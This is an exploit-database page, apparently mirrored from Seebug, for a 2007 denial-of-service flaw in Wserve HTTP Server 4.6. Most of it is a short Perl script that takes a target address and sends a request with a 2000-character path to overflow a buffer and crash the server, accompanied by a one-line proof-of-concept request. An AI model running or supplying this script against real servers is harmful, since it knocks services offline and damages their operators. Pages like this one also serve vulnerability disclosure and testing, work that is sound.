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Wserve HTTP Server 4.6 (Long Directory Name) Denial of Service Exploit

🗓️ 10 Apr 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 71 Views

Wserve HTTP Server 4.6 (Long Directory Name) Denial of Service Exploit. Buffer overflow detected in Wserve HTTP Server 4.6 due to long directory name, causing program termination

Code

                                                #!perl
# Wserve HTTP Server 4.6 Version (Long Directory Name) Buffer Overflow - Denial Of Service
# Type :
# Buffer Overflow - Denial of Service
# Release Date :
# {2007-04-05}
# Product / Vendor :
# Wserve HTTP Server
# http://sourceforge.net/projects/whttp
# PoC :
# GET / HTTP/1.0
 /127.0.0.1:80/AAAAAA[2000]. 
# Error :
# Buffer Overrun Detected!
# Program:...~TempRar$EX00.906wservewserve_console.exe
# A buffer overrun has been detected which has corrupted the program\'s internal state.The program cannot safely continue 
# execution and must now be terminated

# Exploit :

use LWP::UserAgent;

$unique = LWP::UserAgent->new;

$address = shift or die(\"Insert A Target\");

$req = HTTP::Request->new(POST => \"http://$address:80/\" . A x 2000);

$res = $unique->request($req);

print $res->as_string;

# Tested :

# --- Wserve HTTP Server 4.6 ---

# Vulnerable :

# --- Wserve HTTP Server 4.6 ---

# Author :

# UniquE-Key{UniquE-Cracker}
# UniquE(at)UniquE-Key.Org
# http://www.UniquE-Key.Org

 
                              

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10 Apr 2007 00:00Current
7.1High risk
Vulners AI Score7.1
71